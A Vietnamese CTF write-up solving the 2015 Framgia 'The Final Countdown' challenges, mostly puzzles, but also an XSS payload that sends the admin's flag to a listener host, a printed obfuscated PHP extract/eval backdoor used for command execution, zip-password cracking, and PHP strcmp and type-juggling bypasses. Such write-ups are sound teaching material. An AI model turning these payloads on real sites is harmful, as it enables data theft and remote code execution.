[Write-up] Framgia CTF - The Final Countdown (2015/08/01)
Bài đăng này đã không được cập nhật trong 3 năm
Intro
Đây là write-up phần CTF của CTF - The Final Countdown. Phần game logic, các bạn hãy liên hệ với @bs90 để được giải đáp
Survey
Đây là một survey nho nhỏ, hi vọng mọi người bớt chút thời gian đóng góp cảm tưởng yêu, thích, ghét, chê và đóng góp ý kiến cho BTC để lần CTF sau sẽ tốt hơn nữa
https://docs.google.com/forms/d/1uOBLBYu7eRwDZNN02Ba_pyRR68x4uqkdnel5ymqBx94/viewform
Write-up
Easy One (50pt)
Look closer and you'll understand. 466c61677b7965735f746869735f69735f686578797da
"Nhìn kĩ"" thì thấy cứ 2 kí tự là một biểu diễn hex của 1 chữ cái: 0x46 = 'F', 0x6c = 'l', 0x61 = 'a' ...
None Sense (50pt)
-[------->+<]>---.--[--->+<]>.-----------.++++++.[----->+<]>.-[->+++++<]>.[--->+<]>----.+++[->+++<]>++.++++++++.+++++.--------.---[->+++<]>+..[-->+++++<]>++.------------.++++++++++.+++++++++++.+++++++++.
Đây là code BrainFuck (https://en.wikipedia.org/wiki/Brainfuck)
May the force be with you (200pt)
Simple-mind KhanhLD has a zip file but he forgot the password. Can you help him open it ?
File: http://ctf.framgia.vn/uploads/flag.zip
Đề bài cho một file zip được đặt mật khẩu. Ta chú ý thấy có gợi ý "Simple-mind" -> có thể password sẽ đơn giản, ta hãy thử crack password bằng brute force xem sao.
Bạn có thể xem hướng dẫn tại đây:
http://www.cybercrimetech.com/2014/07/how-to-cracking-zip-and-rar-protected.html
Ở đây mình dùng bản john-1.8.0-jumbo-1
[vigo@ubuntu ~/ctf/john-1.8.0-jumbo-1/run]$ ./zip2john ../../flag.zip > ../../zip.hashes
ver a efh 5455 efh 7875 flag.zip->flag PKZIP Encr: 2b chk, TS_chk, cmplen=42, decmplen=30, crc=B920F5F9
[vigo@ubuntu ~/ctf/john-1.8.0-jumbo-1/run]$ cat ../../zip.hashes
flag.zip:$pkzip2$1*2*2*0*2a*1e*b920f5f9*0*3e*0*2a*b920*4d0b*5fb51169d5cf292834ae2570d34eb13e3839b258114270b4185819e3d4df6be8fea6c54a943ba05ec8cc*$/pkzip2$:::::../../flag.zip
[vigo@ubuntu ~/ctf/john-1.8.0-jumbo-1/run]$ ./john ../../zip.hashes
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
keyword (flag.zip)
1g 0:00:00:32 DONE 3/3 (2015-08-03 09:21) 0.03078g/s 4909Kp/s 4909Kc/s 4909KC/s kievy71..keywhse
Use the "--show" option to display all of the cracked passwords reliably
Session completed
[vigo@ubuntu ~/ctf/john-1.8.0-jumbo-1/run]$ ./john ../../zip.hashes --show
flag.zip:keyword:::::../../flag.zip
1 password hash cracked, 0 left
Vậy password của zip file là keyword. Giải nén lấy flag và submit thôi
Old Glory Time (250pt)
nc 10.0.1.43 2015 hoặc nc 0.tcp.ngrok.io 39541
[vigo@ubuntu ~/ctf]$ nc 10.0.1.43 2015
___ _ ___ __ ___ _ ___ _ _____ ____ ___
/ / \ | | | | \ / /` / / \ | |\/| | |_) | | | | | | |_ | |_)
\_\_/ |_|__ |_|_/ \_\_, \_\_/ |_| | |_| \_\_/ |_| |_|__ |_| \
# # ### ### ###
# # # # #
### ### ### # ###
# # # #
# ### # ###
Result?:
Hoàn toàn là một bài lập trình thuần tuý, ta cần viết code để nhận dạng biểu thức trên màn hình, tính kết quả và trả lại server.
My BBS (250pt)
TienNa just wrote a BBS site and he is admin. Let check it out:
http://ctf.framgia.vn:4649/index (Please use another browser to open this link)
Kiểm tra qua thấy site có lỗi XSS (https://en.wikipedia.org/wiki/Cross-site_scripting), ta có nhiểu cách để khai thác. Tham khảo: http://www.lanmaster53.com/2011/05/stealth-cookie-stealing-new-xss-technique/ . Mục tiêu của chúng ta là lấy được flag của admin (vì flag của chúng ta là flag "dỏm" ). Chèn một bài post như sau:
<script>img=new Image();img.src="http://192.168.1.46:1234/?flag="+$("#flag").text();</script>
chạy nc
trên localhost, chờ admin truy cập và BINGO !
[vigo@ubuntu ~/ctf]$ nc -l 1234
GET /?flag=Your%20secret%20admin%20flag%20is:%20Flag{e4172ef59f895a44b56ccee13c1d195f} HTTP/1.1
Host: 192.168.1.46:1234
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:42.0) Gecko/20100101 Firefox/42.0
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://ctf.framgia.vn:4649/index
Connection: keep-alive
Never Give Up (200pt)
There's something else ? http://ctf.framgia.vn/static/images/ngu.png
Even when we don't know what to do
WE NEVER GIVE UP
2 Corinthians 4:8
Đúng là không biết nên làm gì thật, cơ mà NEVER GIVE UP !. Kiểm tra file:
[vigo@ubuntu ~/ctf]$ file ngu.png
ngu.png: PNG image data, 500 x 313, 8-bit/color RGB, non-interlaced
Chắc là ảnh này đã được sửa đổi ? Thử tìm ảnh gốc có cùng kích cỡ rồi so sánh xem sao :-?
[vigo@ubuntu ~/ctf]$ wget http://connectandspreadlove.com/wp-content/uploads/2014/09/tumblr_m56lklxhkn1r0opwzo1_500.jpg
--2015-08-03 09:53:10-- http://connectandspreadlove.com/wp-content/uploads/2014/09/tumblr_m56lklxhkn1r0opwzo1_500.jpg
Resolving connectandspreadlove.com (connectandspreadlove.com)... 108.167.140.181
Connecting to connectandspreadlove.com (connectandspreadlove.com)|108.167.140.181|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 225429 (220K) [image/jpeg]
Saving to: ‘tumblr_m56lklxhkn1r0opwzo1_500.jpg’
100%[=====================================================================================================>] 225.429 98,2KB/s in 2,2s
2015-08-03 09:53:12 (98,2 KB/s) - ‘tumblr_m56lklxhkn1r0opwzo1_500.jpg’ saved [225429/225429]
[vigo@ubuntu ~/ctf]$ file tumblr_m56lklxhkn1r0opwzo1_500.jpg
tumblr_m56lklxhkn1r0opwzo1_500.jpg: JPEG image data, JFIF standard 1.01
[vigo@ubuntu ~/ctf]$ compare tumblr_m56lklxhkn1r0opwzo1_500.jpg ngu.png -compose src diff.png
Xem thử file so sánh diff.png
:-? A ha, QR Code
Weird PHP (200pt)
HuyND's server got hack. After that, i found this strang phpinfo file.
Hmm, can we do something with it ?
http://ctf.framgia.vn:8081/phpinfo.php
<?php phpinfo();@extract($_REQUEST);eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'TZFJk6JAFIT/S196JurQrAXEnNgVQQQFxPACxaIgNItgWb++6bEjZg4ZGZn5vdPL5+T26+2MIX/GAlycXqSeMSMuLiydvLi0SF8EX9s3I3Cvm78c89Oxr45dOHbZeWPJPxz83v7LjPiOT4qdcpZsrI8fVzynYRjA3mxgbKoPZ7P2T6tKJ4HccSVRabkoByDFh6wzJJpB7RaTuZsR62IHBNuZgl1JcXwIA6crMte17vbKubv1AUbebTUMw0g4kKaExOzUHG3bcOpuLPOmdQHKJxqQZGuxYHZVKKYMztppPnlRtMV4LPQE40qYR+gCg2VwYXdrObF63tTrq7bfirwrTmV1uwxqRa5Uu9IiREq5WBn38XEIS87JdPOxB3l/p0qJoJhXHBwbNq8EaZjxADLPmo20gF1rGvhMg8FJjcAikNa5vBOSW4P46UrbT4A+6qsyo/wo7KSc9wBXEM3qL+qI/F5IdNWlePNgMVCqPq2Gnjo/kTac3zoeB+lJlr1WdUsfPL0Y5UC0dpoW13QSbU6w9vwyfR6yhqb6xFRaFIYVDVDNy+b8idtaHp2yj9HFdVjW8htz3Y7QKbL9Pu2bqN9J4MTN78tHpX9ilbfff74A'\x29\x29\x29\x3B");echo($It($works));
http://blog.sucuri.net/2014/02/php-backdoors-hidden-with-clever-use-of-extract-function.html
Thực chất đây là một PHP backdoor (cửa hậu: sau khi đã hack vào server, hacker sẽ để lại cửa hậu để vẫn có thể trở lại truy cập vào server sau đó) sử dụng extract
. Đoạn code chủ yếu là:
<?php
@extract($_REQUEST);
echo($It($works));
Khi ta truyền 2 tham số It
và works
vào request thì file này sẽ thực thi func tương ứng là It(works)
. Nếu It = 'system'
và works = 'ls'
thì sao
http://ctf.framgia.vn:8081/phpinfo.php?It=system&works=ls
ở cuối trang ta thấy có: It worksa_file_u_cant_guess_name phpinfo.php phpinfo.php
thay ls
bằng cat a_file_u_cant_guess_name
và 200pt đã về tay ta (haha)
PHP is Awesome One (150pt)
http://ctf.framgia.vn:8082/simple/simple.php
Xem source code của trang, ta thấy có file source: http://ctf.framgia.vn:8082/simple/simple.phps
<?php
$value = isset($_POST['value']) ? $_POST['value'] : '';
$key = "CENSORED";
$flag = ($value !== "" && !strcmp($value, $key)) ? 'CENSORED': 'bad key';
?>
Ở đây có check biến value
được POST lên và dùng strcmp
(http://php.net/manual/en/function.strcmp.php) để so sánh. Tuy nhiên strcmp
chỉ dùng so sánh 2 xâu, nếu value
là mảng thì sẽ lỗi và ta sẽ pass qua được đoạn kiểm tra. Sửa code HTML và POST giá trị bất kỳ
input name="value[]" value="" type="text">
PHP is Awesome Two (200pt)
http://ctf.framgia.vn:8082/magic/magic.php
Tương tự:
<?php
function h($s){return htmlspecialchars($s,ENT_QUOTES,'UTF-8');}
function crc32_string($v){return sprintf("%08x", crc32($v) & 0xffffffff);}
$value = (isset($_POST['value']) && is_string($_POST['value'])) ? $_POST['value'] : '';
$flag = ($value !== "" && $value !== "ecTmZcC" && crc32_string($value) == crc32_string('ecTmZcC')) ? 'CENSORED': 'bad value';
?>
Kiểm tra mã CRC32 của 'ecTmZcC'
>>> import binascii
>>> "%08x" % (binascii.crc32('ecTmZcC') & 0xffffffff)
'0e730435'
Đây là lỗi type-casting của PHP (https://news.ycombinator.com/item?id=9484757), khi kiểm tra 2 hash, 0e730435
sẽ được hiểu là 0 ^ 0x730435 = 0
nên ta chỉ cần tìm 1 chuỗi tương tự, bắt đầu bằng 0e
, sau đó toàn là các số là sẽ bypass được. Code python để tim chuỗi (hơi xấu nhưng mà được việc ):
import hashlib
import random
import string
import binascii
def generate_random_string(n=7):
return ''.join([c for i in range(n) for c in random.choice(string.letters)])
while True:
t = generate_random_string()
h = "%08x" % (binascii.crc32(t) & 0xffffffff)
if h[:2] == "0e":
if 'a' not in h[2:] and 'b' not in h[2:] and 'c' not in h[2:] and 'd' not in h[2:] and 'e' not in h[2:] and 'f' not in h[2:]:
print t, h
break
[vigo@ubuntu ~/ctf]$ python gen.py
FWLVJji 0e281083
Docx (200pt)
Can you find out the flag in this document ?
http://ctf.framgia.vn/uploads/Discovering_a_Joomla_Exploit_for_Possible_Malware___Social_Engineering_and_a_PHP_BASE64_GIF_Exploit.docx
File docx thực ra cũng là một file zip.
[vigo@ubuntu ~/ctf]$ unzip Discovering_a_Joomla_Exploit_for_Possible_Malware___Social_Engineering_and_a_PHP_BASE64_GIF_Exploit.zip
Archive: Discovering_a_Joomla_Exploit_for_Possible_Malware___Social_Engineering_and_a_PHP_BASE64_GIF_Exploit.zip
inflating: [Content_Types].xml
creating: _rels/
inflating: _rels/.rels
creating: customXml/
creating: customXml/_rels/
inflating: customXml/_rels/item1.xml.rels
inflating: customXml/item1.xml
inflating: customXml/itemProps1.xml
creating: docProps/
inflating: docProps/app.xml
inflating: docProps/core.xml
creating: word/
creating: word/_rels/
inflating: word/_rels/document.xml.rels
inflating: word/document.xml
inflating: word/endnotes.xml
inflating: word/fontTable.xml
inflating: word/footer1.xml
inflating: word/footer2.xml
inflating: word/footer3.xml
inflating: word/footnotes.xml
inflating: word/header1.xml
inflating: word/header2.xml
inflating: word/header3.xml
inflating: word/numbering.xml
inflating: word/settings.xml
inflating: word/styles.xml
inflating: word/stylesWithEffects.xml
creating: word/theme/
inflating: word/theme/theme1.xml
inflating: word/webSettings.xml
Flag ở trong file word/theme/theme1.xml
Can You Recognize It ? (250pt)
Bot can do it. Can you ? http://ctf.framgia.vn:1990/index
Một task về OCR. Nhiệm vụ của bạn là nhận dạng file ảnh, tính kết quả và POST lại lên server, mỗi câu ko làm quá timeout là 3s
For Rubyist (350pt)
File : http://ctf.framgia.vn/uploads/ctf.rvm
Code Ruby sau khi compile ra InstructionSequence
của RubyVM
(http://ruby-doc.org/core-2.0.0/RubyVM/InstructionSequence.html). Các làm duy nhất đó là thử sai và "đọc code". Hi vọng sẽ có bạn làm được để mình thêm link vào write-up này
Final
Good Game ! Well Played !
All rights reserved